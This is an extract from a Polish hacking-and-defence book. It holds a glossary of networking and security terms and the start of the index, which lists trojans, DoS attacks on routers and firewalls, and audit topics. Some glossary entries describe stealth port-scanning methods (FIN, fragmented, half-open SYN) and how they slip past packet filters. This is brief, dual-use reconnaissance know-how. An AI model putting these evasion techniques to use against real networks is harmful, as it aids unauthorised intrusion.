malnym możliwym stopniu te same porty są używane w przypadku UDP [RFC 768].
Zarządzane przez IANA porty obejmują zakres od 0 do 1023.
384
Hack Wars. Tom 2. Na tropie hakerów
384
389
Dodatek F
Słowniczek najważniejszych
pojęć
802.3 — standard IEEE 802.3.
10BaseT — specyfikacja IEEE 802.3 warstwy fizycznej sieci Ethernet o przepusto-
wości 10 Mb/s opartej na nieekranowanym dwuparowym kablu, nazywanym skrętką.
Akredytacja — rodzaj poświadczenia lub certyfikatu, wydanego przez wyznaczoną
znaną i zaufaną osobę lub organizację, potwierdzającego spełnienie przez aplikację
określonego poziomu wymogów bezpieczeństwa.
Aktywacja — moment i sposób, w jaki zostaje wykonany kod wirusa, infekując w tym
momencie kolejny system operacyjny. Aby wirus mógł zarazić system, musi w nim zostać
choćby raz uruchomiony. Samo skopiowanie nie wystarcza, gdyż jest wtedy traktowany
jak zwykłe dane. Muszą zajść okoliczności, w których system potraktuje dane zawierające
wirusa jako kod wykonywalny czy skrypt.
API (Application Programming Interface) — ustalony sposób komunikowania się
systemu operacyjnego z warstwą aplikacji.
ARP (Address Resolution Protocol) — protokół określający adres sprzętowy kom-
putera na podstawie numeru IP.
ARPANET — eksperymentalna sieć komputerowa dużego zasięgu, która w latach 60.
pokryła Stany Zjednoczone. Jej realizacją zajmowała się ARPA (U.S. Department of
Defense’s Advanced Research Projects Agency).
ASCII (American Standard Code for Information Interchange) — uniwersalny
standard kodowania numerycznego liter, cyfr, zbioru podstawowych znaków graficz-
nych i przestankowych oraz pewnej ilości znaków sterujących w postaci 7 bitowych
słów. Kiedyś brakujący bit używany był jako tzw. „bit parzystości”, za pomocą którego
można było wykryć ewentualne błędy transmisji, teraz stosuje się go do rozszerzenia
ilości znaków w standardzie.
390
Hack Wars. Tom 2. Na tropie hakerów
390
Backdoor — patrz: „tylne drzwi”.
Bajt — za bajt przyjęło się uznawać jednostkę składającą się z 8 bitów informacji,
gdyż w takich najmniejszych blokach są przetwarzane dane w większości systemów
komputerowych.
Bind — serwer usługi DNS (Domain Name Service) tłumaczącej nazwy domen na
odpowiadające im adresy IP.
Bit — jednocyfrowa liczba o podstawie 2 (0 lub 1); najmniejsza jednostka informacji.
Bomby pocztowe — poczta elektroniczna wysyłana w celu zapchania skrzynki pocz-
towej ofiary, spam. Bomby pocztowe z reguły przybierają postać niewielkiej ilości li-
stów z dużymi załącznikami lub też tysięcy małych wiadomości.
Bootp — usługa pozwalająca na przydzielanie podłączonym do sieci komputerom
bez pamięci dyskowej ich własnych adresów IP. Bootp identyfikuje komputery żąda-
jące przydzielenia adresu na podstawie ich konfiguracji sprzętowej, w szczególności
adresu MAC wbudowanego w kartę sieciową.
Buffer Flow Control — kontrola zajętości bufora — technika pozwalająca zapobie-
gać przepełnieniom buforów powiązanych ze strumieniami danych. Kiedy jeden
z procesów wysyła przez strumień większą ilość danych, niż drugi jest w stanie odebrać,
jest on zatrzymywany, aby wolniejszy proces mógł nadążyć z odbieraniem i przetwa-
rzaniem danych.
Buforowanie — technika ułatwiająca utrzymanie ciągłości strumienia danych. Buforo-
wanie znakomicie ułatwia wyrównanie prędkości przetwarzania danych przez procesy,
znajdujące się na dwóch końcach strumienia. Jeżeli na przykład proces A ma przekazać
procesowi B przez sieć pewną ilość informacji, A po prostu „wrzuca” dane do bufora
po swojej stronie strumienia, nie martwiąc się o nie więcej. Następnie system operacyjny
odczytuje sekwencyjnie dane z bufora, wysyłając je do gospodarza procesu B. System
operacyjny po drugiej stronie strumienia umieszcza dane w buforze, z którego proces B
może je w dowolnym momencie przeczytać.
Cracker — osoba, która omija zabezpieczenia sieci lub określonego systemu, by
uzyskać do niej nieautoryzowany dostęp, tzn. włamać się do systemu. Typowym celem
takiej osoby jest nielegalne zdobycie poufnych informacji lub użycie systemu w jakikol-
wiek inny nielegalny sposób.
CRC (Cyclic Redundancy Check) — jest sposobem weryfikacji poprawności da-
nych za pomocą tzw. sum kontrolnych. Przykładem zastosowania może być kontrola
procesu przesyłania danych w sieci.
CSMA/CD (Carrier Sense with Multiple Acces and Collision Detection) — technolo-
gia pozwalająca wykryć i obsłużyć kolizje w sieciach Ethernet. Interfejsy sieciowe,
które wywołały kolizje, natychmiast przerywają swoją transmisję. Ten, który jako pierw-
szy wykrył kolizję, wysyła w sieć informację o zajściu kolizji. Następnie każdy z nich
oczekuje przez przypadkowy okres czasu na wznowienie transmisji. W przypadku
występowania sekwencji kolizji, przypadkowy czas oczekiwania zostaje podwojony.
Dodatek F
♦
♦
♦
♦
Słowniczek najważniejszych pojęć
391
391
Datagram — pakiet tzw. protokołu bezpołączeniowego, na przykład protokołu UDP.
Demultiplexing — proces rozdzielania strumieni danych, połączonych uprzednio
w jeden strumień za pomocą multiplexingu.
DMZ (Demilitarized Zone) — przestrzeń sieciowa położona za zaporą firewall, ale
odseparowana od sieci wewnętrznej.
DSL (Digital Subscriber Line) — łącze z Internetem o przepustowości nawet od 6 do 30
razy większej od łączy w technologii ISDN przy dużo mniejszych kosztach, ponieważ
DSL używa tradycyjnych linii telefonicznych.
FDDI (Fiber-Distributed Data Interface) — łącze światłowodowe dużej przepu-
stowości.
GUI (Graphical User Interface) — interfejs graficzny aplikacji.
Haker — osoba doskonale obeznana z różnymi technologiami informatycznymi, szcze-
gólnie zaś programowaniem. Haker jest osobą, której sprawia przyjemność zagłębianie się
w zagadnienia dotyczące budowy systemów operacyjnych i innych programów oraz wy-
korzystywanie tej wiedzy dla różnych, często niezgodnych z prawem celów, takich jak na
przykład włamywanie się do obcych systemów i sieci, czy przerabianie do własnych
celów różnych programów lub danych.
Handshaking — proces nawiązywania połączenia między dwoma końcami strumie-
nia informacji. Polega głównie na uzgodnieniu podstawowych parametrów transmisji
(na przykład prędkości transmisji między dwoma modemami).
HTML (Hypertext Markup Language) — język służący do opisu stron WWW.
Główną koncepcją języka jest wstawianie w tekst strony, specjalnych znaczników
formatujących i interpretujących tekst oraz sterujących sposobem wyświetlania strony.
Hub — koncentrator. Jest urządzeniem służącym do rozgałęziania sieci, zadaniem
którego jest powtarzanie sygnałów każdego fizycznego portu wejściowego wszystkim
pozostałym portom.
Inetd — demon sieciowy obsługujący wiele usług i przekazujący sterowanie do wła-
ś
ciwego serwera w chwili nawiązania połączenia z danym serwerem komputera zdalnego.
Stosuje się go w celu zaoszczędzenia pamięci operacyjnej komputera
InterNIC — organizacja przydzielająca i kontrolująca adresy IP w Internecie
1
.
IP (Internet Protocol) — podstawowy protokół internetowy opisujący komunikację
na 3. poziomie modelu OSI — odpowiedzialnym za wyznaczanie tras oraz sposób do-
starczania informacji. Protokół IP definiuje budowę pakietów oraz sposób ich trans-
misji między urządzeniami sieciowymi. IPX (Internetwork Packet Exchange) —
protokół sieci NetWare.
1
Ale tylko na terenie Ameryki Pn. W Europie organizacja podobna ma nazwę RIPE, a nadzór nad tymi
organizacjami ma IANA — przyp. tłum.
392
Hack Wars. Tom 2. Na tropie hakerów
392
Koń trojański — jest zwykłym (lub wyglądającym na zwykły) programem, udają-
cym często przydatne oprogramowanie, lecz wykonującym pewne operacje bez wie-
dzy i woli ich użytkownika. Zadaniem większości koni trojańskich jest pozostawienie
w systemie tzw. „tylnych drzwi”.
LAN (Local Area Network) — grupa komputerów położona na stosunkowo nie-
wielkim obszarze, połączona ze sobą jedynie podstawowymi urządzeniami sieciowy-
mi (kable, huby, switche), w sposób, w którym każdy komputer może komunikować
się z wszystkimi pozostałymi.
Luka w bezpieczeństwie — wszelkie przyczyny, które mogą potencjalnie stać się
pomocne we wniknięciu intruza do systemu, powiększeniu jego uprawnień w syste-
mie, pomagające atakującemu w jakikolwiek sposób utrudnić systemowi świadczenie
usług lub też pozwalające atakującemu przechwycić, skopiować dane poufne.
Łącze wirtualne — łącze wirtualne jest połączeniem pomiędzy dwoma punktami sieci
utworzonym tak, by wydawało się być fizycznym połączeniem (kawałkiem kabla, linią te-
lefoniczną itp.), lecz w rzeczywistości będącym złożeniem innych kanałów informacyj-
nych. Istnieją dwa rodzaje połączeń wirtualnych — PVC (tworzone na stałe lub dłuższy
okres czasu), oraz SVC (tworzone za każdym razem, gdy trzeba transportować dane).
Technika ta pozwala na przykład dwóm komputerom stojącym w laboratorium połączyć
się za pomocą kabla szeregowego, chociaż w rzeczywistości kabel ten nie istnieje, a dane
są transmitowane przez Internet (na przykład kiedy archaiczny program wymaga takiego
właśnie połączenia).
MAU (Multistation Access Unit) — urządzenie łączące komputery w sieć typu Token
Ring.
MTU (Maximum Transfer Unit) — największy pakiet protokołu IP, jaki może zo-
stać przetransportowany podczas konkretnego połączenia. Parametr ten jest ustalany
przez obie strony podczas nawiązywania połączenia
2
.
Multipleksowanie (Multiplexing) — metoda przesyłania wielu równoległych sygnałów
za pomocą jednego fizycznego kanału informacyjnego.
NetBEUI (NetBIOS Extended User Interface) — protokół używany w sieciach lokal-
nych Windows NT, LAN Manager oraz sieciach IBM do przesyłania plików i zdalnego
drukowania.
NetBIOS (Network Basic Input/Output System) — protokół pierwotnie przygoto-
wany jako interfejs sieciowy, którym miały się posługiwać programy pracujące w sieciach
IBM PC. Został jednak rozszerzony i obecnie może być używany w wielu innych po-
pularnych sieciach.
Routing dynamiczny— proces wymiany informacji między sąsiednimi ruterami, pozwa-
lający ustalić im właściwą topologię sieci, a dzięki temu właściwą drogę przebiegu pakie-
tów.
2
Można się jednak spotkać z sytuacjami, gdzie MTU nie jest ustalane w czasie połączenia, lecz na sztywno
ustawione i niezmienialne — przyp. tłum.
Dodatek F
♦
♦
♦
♦
Słowniczek najważniejszych pojęć
393
393
Ochrona dostępności — zespół działań mających na celu zagwarantowanie dostęp-
ności pewnych ważnych i strategicznych usług. Składają się na niego z reguły syste-
my tworzenia kopii zapasowych oraz nadmiarowość posiadanego sprzętu.
OSI (Open Systems Interconnection) Model — zbiór umownych standardów doty-
czących komunikacji za pomocą komputerów zakładających m.in. podzielenie zagad-
nień i problemów dotyczących komunikacji na siedem umownych warstw, rozpoczy-
nając od najniższej — warstwy sprzętowej.
Pakiet — podstawowy nośnik transmisji danych w sieci Internet. Każda informacja
przesyłana przez sieć jest dzielona na części umieszczane w pakietach, a następnie
z pakietów ekstrahowane i łączone z powrotem w użyteczną informację.
Phreak — osoba, która włamuje się do sieci telefonicznych i innych chronionych sie-
ci telekomunikacyjnych, głównie w celu darmowego korzystania z usług firm teleko-
munikacyjnych.
Podział na podsieci — proces wykorzystywania otrzymanych adresów sieciowych na
zbudowanie w ich oparciu mniejszych sieci połączonych z głównym szkieletem.
Połączenie typu full-duplex — połączenie z możliwością jednoczesnej transmisji w obie
strony w celu zmniejszenia ograniczenia przepustowości sieci.
POP (Post Office Protocol) — jest protokołem służącym do przenoszenia poczty
elektronicznej z serwera pocztowego na komputer użytkownika. Protokół POP oparty
jest na architekturze klient-serwer, w której pocztę odbiera serwer pocztowy, a następnie
przechowuje ją do momentu, w którym użytkownik pobierze ją z serwera.
Porty standardowe — są to porty, na których domyślnie słuchają usługi sieciowe, na
przykład portem standardowym usługi SMTP jest 25.
Porty specjalne (zarezerwowane) — początkowe 1024 z ponad 65 000 portów dostęp-
nych w systemie operacyjnym. Porty te zarezerwowane są dla usług systemowych, z tego
też powodu połączenia wychodzące ( z wyjątkiem kilku przypadków ) realizowane są
przez porty o numeracji wyższej niż 1023.
Poziom błędów — stosunek ilości błędnie przesłanych pakietów do całkowitej liczby
pakietów.
PPP (Point-to-Point Protocol) — protokół służący do transportowania pakietów IP
przez łącza szeregowe lub telefoniczne.
Promiscious Mode — specjalny tryb działania interfejsu sieciowego, w którym reaguje
on na wszystkie pakiety mające kontakt z interfejsem, a nie tylko te, których jest przezna-
czeniem. Tryb ten pozwala na przykład rejestrować całkowity ruch w sieci lokalnej.
Protokół — zbiór zasad i norm dotyczących komunikowania się w sieci.
Przepustowość — miara zdolności kanału informacyjnego do przenoszenia informacji,
mierzona stosunkiem ilości informacji do czasu ich przesyłania.
394
Hack Wars. Tom 2. Na tropie hakerów
394
PVC (Permanent Virtual Circuit) — stałe połączenie między urządzeniami DTE
przydatne do bardzo częstej transmisji danych.
Ramka — jest podstawową jednostką transmisji w sieciach zorientowanych na transmisję
bitową. Ramkę stanowią bity informacji wysłane bezpośrednio po sobie i zawierające:
adres źródła, adres przeznaczenia, dane oraz dodatkowe informacje kontrolujące
transmisję (między innymi rekordy pozwalające na detekcję, ewentualnie korekcję błędów
oraz indeksujące ramki).
RARP (Reverse Address Resolution Protocol) — \protokół pozwalający kompute-
rom rozgłaszać ich adres sprzętowy, oczekując tym samym odpowiedzi od serwera
przydzielającego adresy IP w sieci.
Replikacja — stadium rozwoju wirusa komputerowego, w którym stara się on, powiela-
jąc, zarazić jak najwięcej innych komputerów, programów itp.
Rozpoznanie — proces zbierania przez hakera informacji o systemach i sieciach po-
tencjalnie podatnych na atak, przydatnych później do opracowania odpowiedniego
planu działania.
Ryzyko dopuszczalne — ryzyko określone przez zarząd jako dozwolone przy danym
rodzaju działalności; ekonomicznie jest to ryzyko w punkcie, w którym równoważą
się koszty utrzymywania danego poziomu bezpieczeństwa z ewentualnymi stratami
pomnożonymi przez prawdopodobieństwo ich poniesienia.
SAP (Service Advertisement Protocol) — metoda, w której różne urządzenia sieciowe
rozgłaszają swoje adresy sieciowe oraz udostępniane usługi. Domyślnie informacje te
wysyłane są co 60 sekund.
Serwer plików — urządzenie sieciowe, którego głównym zadaniem jest udostępnia-
nie swojej przestrzeni dyskowej na ogół komputerom w sieci lokalnej. Rozwiązanie
takie ma na celu zmniejszenie kosztów pamięci dyskowej oraz zwiększenie bezpie-
czeństwa danych.
Skanowanie — skanowanie portów jest działaniem mającym na celu zbadanie okre-
ś
lonych portów określonych komputerów w poszukiwaniu różnych użytecznych in-
formacji. Specjalne programy (skanery portów) badają zadane porty w poszukiwaniu
tych, które wydają się być podatne na atak, lub też mogą zdradzić przydatne informacje.
Skanowanie fragmentacyjne — modyfikacja pozostałych metod skanowania, w której
pakiety przeznaczone do skanowania dzielone są na fragmenty. Jeżeli nagłówek pakietu
TCP zostanie podzielony na części, wtedy filtry pakietów będą miały znikome szanse
wykrycia skanowania.
Skanowanie metodą TCP (pełne) — najprostsza metoda skanowania, w której ska-
ner stara się nawiązać ze skanowanymi portami pełne połączenie.
Dodatek F
♦
♦
♦
♦
Słowniczek najważniejszych pojęć
395
395
Skanowanie metodą TCP FIN — metoda skanowania portów utrudniająca wykrycie
faktu skanowania. Niektóre firewalle oraz filtry pakietów (takie jak na przykład Synlogger
czy Courtney) potrafią wykryć skanowanie pakietami SYN. W takich sytuacjach cza-
sami możliwe jest skanowanie pakietami FIN, gdyż otwarte porty z reguły odpowia-
dają na nie pakietami RST, podczas gdy zamknięte porty ignorują tego typu pakiety.
Skanowanie metodą TCP SYN — metoda skanowania nazywana również „skano-
waniem połówkowym”. W metodzie tej nie następuje otwarcie połączenia, zamiast
tego w kierunku skanowanego portu zostaje wysłany pakiet SYN, sugerujący otwarte
połączenie i oczekiwanie na odpowiedź. Jeżeli w odpowiedzi skaner otrzyma pakiet
SYN/ACK, oznacza to, że port nasłuchuje, w przeciwnym wypadku skaner otrzymuje
pakiet RST. Po otrzymaniu SYN/ACK skaner niezwłocznie „zamyka” połączenie,
wysyłając pakiet RST.
Skanowanie metodą UDP ICMP_PORT_UNREACH — metoda skanowania uży-
wająca protokołu UDP zamiast TCP. Wprawdzie protokół UDP jest mniej skompli-
kowany, lecz metody skanowania używające UDP muszą być bardziej wyrafinowane,
ponieważ otwarte porty nie mają obowiązku wysyłać odpowiedzi, a zamknięte nie
muszą wysyłać pakietów informujących o błędach. Na szczęście większość systemów
jest skonfigurowana do wysyłania pakietu ICMP_PORT_UNREACH w odpowiedzi
na wysłanie pakietu do zamkniętego portu. Pozwala to stwierdzić, które porty są za-
mknięte, a pośrednio — które są otwarte.
Skanowanie metodą UDP recvfrom() oraz write() — zwykli użytkownicy nie mo-
gą bezpośrednio otrzymywać pakietów informujących ICMP_PORT_UNREACH.
Jednakże system Linux informuje o tym fakcie pośrednio. Na przykład drugie i kolejne
wywołania funkcji write() z poleceniem zapisu do zamkniętego portu spowoduje zwróce-
nie błędu. Wiele skanerów (na przykład netcat i pscan.c) wykorzystuje z powodzeniem tę
metodę.
Skanowanie wewnętrzne — test, zwykle przeprowadzany przez administratora sieci,
mający za zadanie ujawnić ewentualne luki w mechanizmach bezpieczeństwa war-
stwy aplikacji oraz portów.
Sniffer — program, którego zadaniem jest pasywne rejestrowanie i kopiowanie ruchu
w sieci. Programy tego typu wykorzystywane są przez hakerów do zbierania informacji
o sieci oraz przechwytywania wysyłanych przez użytkowników i urządzenia sieciowe
informacji (na przykład haseł).
SNMP (Simple Network Management Protocol) — protokół służący do zarządzania
i monitorowania urządzeń sieciowych.
Strumień — kanał informacyjny służący do transmitowania danych między procesami
znajdującymi się na jego końcach.
SVC (Switched Virtual Circuit) — chwilowe połączenia pomiędzy urządzeniami
DTE służące przekazywaniu danych w większych odstępach czasu.
396
Hack Wars. Tom 2. Na tropie hakerów
396
TCP (Transmission Control Protocol) — zadaniem protokołu TCP jest umożliwienie
połączenia, a następnie kontrola procesu przekazywania danych w strumieniu (na
przykład ponowne wysyłanie pakietów, które nie dotarły do miejsca przeznaczenia
lub dotarły zniekształcone).
Transmisja asynchroniczna — transmisja, która nie wykorzystuje sygnału synchro-
nizującego. W transmisji tej każda stacja nadawcza może próbować zacząć nadawanie
bez oczekiwania na taki sygnał.
Transmisja synchroniczna — transmisja wykorzystująca sygnał synchronizujący do
przesyłania informacji. Stacja nadawcza, chcąc wysłać jakąś informację po sieci, musi
wysyłać tę informację w ściśle określonych momentach czasu, wyznaczanych przez
sygnał synchronizujący.
Transmisja w postaci okien — ma miejsce wtedy, gdy dwa końce połączenia
uzgadniają, jaką liczbę segmentów mogą wysłać podczas każdej transmisji. Liczba ta
nazywana jest rozmiarem okna. Przykładowo, jeśli obie strony połączenia uzgodniły
rozmiar okna równy 3, oznacza to, że każda strona po wysłaniu 3 segmentów będzie
oczekiwać na odpowiedź drugiej. Transmisja zostanie wznowiona dopiero po otrzy-
maniu odpowiedzi.
Trojan — patrz „koń trojański”.
Tylne drzwi — termin ten określa każdą umyślnie wykonaną lukę w bezpieczeństwie
systemu, pozwalającą na przykład na ponowne włamanie się do niego. Hakerzy bardzo
często po jednokrotnym włamaniu tak zmieniają zaatakowany system, by w przyszłości
mogli włamać się do niego ponownie, lecz tym razem już bez większych przeszkód.
UDP (User Datagram Protocol) — protokół komunikacyjny, charakteryzujący się
niewielką ilością pakietów potrzebnych do wysłania krótkich informacji, gdyż w protoko-
le UDP nie nawiązuje się połączenia.
UUCP (UNIX-to-UNIX Copy Protocol) — zbiór programów wywodzących się z sys-
temu UNIX, służących do kopiowania plików pomiędzy dwoma komputerami, lecz,
co ważniejsze, również zdalnego wykonywania poleceń.
VLSM (Variable-Length Subnet Masking) — rozprzestrzenianie informacji podsieci za
pomocą routerów.
WAN (Wide Area Network) — sieci rozproszone na (geograficznie) dużym obszarze.
Wirusy — są programami rozprzestrzeniającymi się przez zarażanie innych programów
użytkowych lub też systemowych.
Wykrywanie błędów — zespół działań, których zadaniem jest wykrycie zakłóceń
podczas przechowywania lub transmisji danych. Powszechnie stosowanym sposobem
korekcji błędów jest dołączanie do danych pewnych informacji nadmiarowych (na
przykład sum kontrolnych, podpisów elektronicznych), na podstawie których można
przy odczycie danych stwierdzić, czy uległy uszkodzeniu.
397
Skorowidz
10BaseT, 385
3Com, 225
filtrowanie, 226
hasła głównego klucza, 226
HiPer ARC, atak DoS, 225
logowanie do karty HiPer ARC, 226
NetServer 8/16, atak DoS, 226
Palm Pilota Pro, atak Dos, 227
system password debug, 226
802.3, 385
A
abel.exe, 107
Access, 173
access control lists, 27
Access Denied, 350
AccessPath LS-3, 229
Acid Shivers, 112
ACL, 27, 152, 212, 282, 296
ActiveX, 117, 213, 301, 339
ActiveX Console, 109
Address Resolution Protocol, 385
adm.exe, 108
administracja, 271
adres
elektroniczny, 37
IP, 37
MAC, 40, 116
URL, 57
AIX, 10
dtaction, 238
infod, 237
ujawnienie haseł, 237
zdalny root, 237, 238
akredytacja, 385
aktywacja, 385
aktywne połączenia sieciowe, 12
aktywne skanowanie, 212
algorytm usuwania kolizji, 316
AltaVista, 351
analiza zabezpieczeń, 299
alarmy, 305
dzienniki alarmów i zdarzeń, 305
inspekcja kodu źródłowego, 302, 304
inspekcja lokalnej infrastruktury, 312, 340
inspekcja połączeń wykorzystujących linie
telefoniczne, 300, 340
inspekcja sieci rozległej WAN, 341
niska przepustowość, 304
penetracja z wykorzystaniem wiedzy, 339
podszywanie się pod adres IP, 302
podział ruchu według rodziny protokołów, 304
przekierowanie hosta, 304
przygotowanie dokumentacji, 301
raport o problemach użytkowników, 304
raportowanie, 305
retransmisja pliku, 304
schemat adresowania IP/IPX, 302
skanowanie lokalizacji, 300, 301
slepe testowanie, 339
testy penetracji, 300, 301
testy podszywania się pod adres IP, 300
testy przepełnienia IP, 302
testy spamu, 303
uprzywilejowane punkty dostępowe, 302
usługi internetowe, 340
wykorzystanie pasma, 305
wyniki końcowe, 305
zamrożone klatki, 304
zbieranie informacji, 306
zdalna inspekcja, 300, 301, 303
analizator sesji, 58
anonimowość użytkownika, 147
AntiGen, 96, 105, 380
antigen.exe, 105
AOL Trojan, 113
Apache HTTP, 232
atak DoS, 233
kradzież CGI, 232
398
Hack Wars. Administrator kontratakuje
398
tworzenie listy katalogów, 233
Apache Win32, 233
API, 385
aplikacja główna
kontrola operacyjna, 273
kontrola techniczna, 280
aplikacja wsadowa, 282
AppleTalk, 318
Application Programming Interface, 385
archiwizacja, 277, 290
ARP, 385
ARPANET, 385
AS5200, 229
AS5300, 229
AS5800, 229
Ascend, 225
Ascend MAX, 227
Ascend Pipeline, 227
Ascend/Lucent, 227
Ascend Pipeline, 227
atak MAX, 227
atak uszkodzonymi pakietami UDP, 227
MAX, 227
przeciążenie potoku haseł, 227
ASCII, 245, 385
ASP, 139, 148, 234
atak
Denial of Service, 11, 37
DoS, 225, 227, 228, 234, 236, 253, 255
DoS typu ARP, 228
flood, 232
HTTP DoS, 228
MAX, 227
NAT, 228
Nestea, 225
rozgłaszanie, 172
skanowania UDP, 228
ATM LS1010, 231
Attack FTP, 107
autoryzacja działania, 270, 272
awaria systemów obsługi, 274
B
Back Construction, 105, 107
Back Orifice, 114
Back Orifice Server, 96, 380
backdoor, 97, 161, 386
BackDoor, 108
bajt, 386
bazy danych, 302
bezpieczeństwo personelu, 286
bezpieczna usługa FTP, 352
bezpieczny serwer WWW, 58
bezpieczny telnet, 352
bezpośrednie łącza dzierżawione, 306
bind, 386
Bind, 39
bit, 386
bit parzystości, 385
BLA, 107
BlackICE, 255
BlackICE Defender, 115, 167
Blade Runner, 105
Blocking Time, 170
blokowanie portów, 10, 57, 116
Blowfish, 195
błąd wewnętrzny, 317
błędy pakietów, 315
BoDetect, 96, 380
bombardowanie pocztą, 37, 161
BombSquad, 381
bootp, 10, 40, 386
BorderWare, 252
tunelowanie, 253
BoServ, 380
BPX, 231
BrainSpy, 112
brainspy.exe, 112
brama, 223, 225
3Com, 225
Ascend/Lucent, 227
Cabletron/Enterasys
Cabletron/Enterasys, 228
HiPer ARC, 225
NetServer 8/16, 225
BRI, 212
BRI 0, 162
broadcasting, 172
BSD, 238
atak DoS, 238
panika BSD, 238
Bubbel, 110
bubbel.exe, 110
Buffer Flow Control, 386
bufor poczty, 58
buforowanie, 386
Bugs, 109
C
C2500-IOS56I-L, 231
C4000-IK2S-M, 231
Cabletron, 152, 225
Cabletron/Enterasys, 228
atak DoS, 228
Skorowidz
399
399
blokowanie procesora, 228
Router SSR 8000, 228
SmartSwitch Router, 228
Cain & Abel, 107
Carrier Sense with Multiple Acces and Collision
Detection, 386
CCDA, 5
CCIE, 5
CCNP, 5
CD-ROM, 285
cechy biometryczne, 295
certyfikat, 385
CGI, 139, 214, 301, 302
CGI Exploit Scanner, 214
CGIScan, 382
chargen, 10, 12, 168
chat, 58
Check Promiscuous Mode, 199
Checkpoint FireWall-1, 152
CIAC
biuletyn informacyjny, 194
Cisco, 169, 225, 228
AS5200, 229
atak DoS, 228
atak HTTP DoS, 229
atak NAT, 230
atak skanowania UDP, 231
C2500-IOS56I-L, 231
C4000-IK2S-M, 231
IOS 2500, 231
IOS 4000, 231
łamacz haseł IOS, 230
Route-Switch Module, 230
SC3640, 229
ubr7200, 229
Voice Gateway, 229
Cisco CCNA, 5
Cisco IOS, 230
Citrix, 300, 304
cloaking, 118
cmctl32.exe, 105, 107
Coma, 112
Compaq ASE Enterprise Storage, 5
concealed ports, 9
control.ini, 11, 100
cookie.txt, 148
cookies, 148, 166
menedżer, 167
cookies.txt, 173
CoreBuilder 2500, 226
Courtney, 391
CPE, 212
CPM, 199
cracker, 7, 115, 386
CRC, 386
CSMA/CD, 386
Ctrl+Alt+Delete, 101
CyberCop Scanner, 305
cyberpunk, 115
Cyclic Redundancy Check, 386
cykl życia wiadomości pocztowej, 37
czynniki ryzyka pożarowego, 288
czyszczenie nośników, 272
D
dat92003.exe, 113
Data Service Unit, 306
datagram, 10, 39, 387
debug mode, 199
Deep Throat, 106
Delta Source, 114
Demilitarized Zone, 38, 387
demon, 10
DNS, 39, 40
fcagent, 239
finger, 309
FTP, 17, 354
HTTP, 57
infod, 237
IRC, 354
monitorowania usług, 355
portmap, 59
serwera WWW, 214, 223
SMTP, 37
Talk, 60
Telnet, 25
TFTP, 41
demultiplexing, 387
Denial of Service, 11, 37
DES, 195
Devil, 114
DHCP, 318
Digital, 10
Digital RootBeer, 109
Digital Subscriber Line, 387
Distributed.net, 63
DMZ, 38, 57, 254, 387
dnetc.exe, 63
DNS, 37, 39, 116, 302
główne klastry, 37
informacje o wersji oprogramowania, 40
MX, 37
odwrotne zapytania, 40
DOCSIS, 212
dokumentacja, 279, 292
Doly Trojan, 107
400
Hack Wars. Administrator kontratakuje
400
domain, 10, 39
Domain Name Service, 39, 386
domena, 38
domyślna brama, 318
DoS, 11, 117, 169, 225
DoS Attack Threshold, 169
dostawca Internetu, 300
drag-and-drop, 98
drwatsom.exe, 107
DSL, 115, 387
DSU, 306
dtaction, 238
DTE, 306, 390
dwupunktowe łącza dzierżawione, 306
dynamic routing, 60
dynamiczne wybieranie trasy, 60
dysk twardy, 345
dzienniki alarmów i zdarzeń, 305
E
echo, 10, 11, 168
Eclipse, 110
edytor HTML, 344, 348
e-mail, 38, 39, 138
Email Password Sender, 105
emulacja terminali, 26
en-cid12.dat, 112
en-cid12.exe, 112
Encryptor, 205, 382
Enterasys, 152, 228
Ethernet, 312
Ethernet 1, 162
Excite, 351
exec, 10
Executor, 106
expl32.exe, 114
F
fazy analizy bezpieczeństwa, 301
inspekcja lokalnej infrastruktury, 304
inspekcja połączeń wykorzystujących linie
telefoniczne, 304
inspekcja sieci rozległej WAN, 305
penetracja z wykorzystaniem zdobytych
informacji, 302
raportowanie, 305
ś
lepe testy, 301
usługi internetowe, 303
fazy cyklu życia systemu, 269
fcagent, 239
FDDI, 387
FFK.exe, 249
Fiber-Distributed Data Interface, 387
FibreVault, 239
File Nail, 110
filtrowanie, 226
pakietów, 211
filtry IP, 157
finger, 10, 57, 309
Firehotker, 106
firewall, 7, 38, 57, 115, 162, 224, 245
BlackICE Defender, 115
Cisco PIX, 157
FireWall-1, 252, 253
LockDown 2000, 117
NetScreen, 158, 165
Norton Internet Security, 117
TigerGuard, 119
ZoneAlarm Pro, 118
FireWall-1, 252, 253
FW-1, 253
pełny atak DoS, 253
flooding, 40, 161
Fore, 105
fore.exe, 105
Frame Relay, 304
FTP, 7, 10, 13
ograniczenia połączeń, 16
połączenia anonimowe, 16
Tiger FTP, 17
uprawnienia, 17
zmiana komunikatu powitalnego, 15
ftp.exe, 105
FTP99CMP, 108
full-duplex, 389
FW-1, 253
G
GateCrasher, 111
gateway, 223
Gauntlet, 252, 253
atak DoS, 253
wykonanie niebezpiecznego kodu przez
przepełnienie bufora, 254
generator losowych haseł, 381
generowanie haseł, 196
GET, żądanie, 234, 236
Ghost KeyLogger, 174
GirlFriend, 113
Global Timer Values, 169
godny zaufania segment sieci, 41
Graphical User Interface, 387
GroupWise, 236
Skorowidz
401
401
Guest, 17
GUI, 26, 387
Guide to Developing Security Plans for
Information Technology Systems, 257
H
Hack’99 KeyLogger, 112
Hack'a'Tack, 114
haker, 7, 115, 387
half-handshake ping, 253
handshaking, 387
hash, 278, 292
hasło, 196, 281, 295
HDKill.bat, 248
hierarchiczna baza danych, 11, 100
HiPer ARC, 225
adm, 226
atak DoS, 225
logowanie do karty, 226
HKEY_CLASSES_ROOT, 100
HKEY_CURRENT_CONFIG, 101
HKEY_CURRENT_USER, 100
HKEY_DYN_DATA, 101
HKEY_LOCAL_MACHINE, 101
HKEY_USERS, 101
HKeyLog.exe, 112
home environment handling, 238
hool.exe, 113
host, 148
hosts.allow, 27
hosts.deny, 27
hosts_access, 27
HotBot, 351
HP/UX, 239
hping, 253
HP-UX 9, 10
HTML, 387
HTR, żądanie, 234
http, 10
HTTP, 57, 223, 304
HTTPD, 223
hub, 387
Hypertext Markup Language, 387
Hypertext Transfer Protocol, 57
I
IANA, 383
IBM, 388
ICEpaq Security Suite, 116
ICMP, 151, 167, 232, 304
ICMP redirect message, 304
ICMP_PORT_UNREACH, 391
ICQ, 117
Idcide Privacy Wall, 167
identyfikacja, 280, 294
nieaktywne identyfikatory użytkowników, 281,
294
obsługa identyfikatorów użytkowników, 280,
294
powiązania działań z użytkownikami, 280
unikalna identyfikacja, 294
identyfikacja systemu, 262
informacje kontaktowe, 263
nazwa systemu, 263
odpowiedzialna organizacja, 263
IEEE 802.3, 385
ifconfig, 199
ifstatus, 199, 381
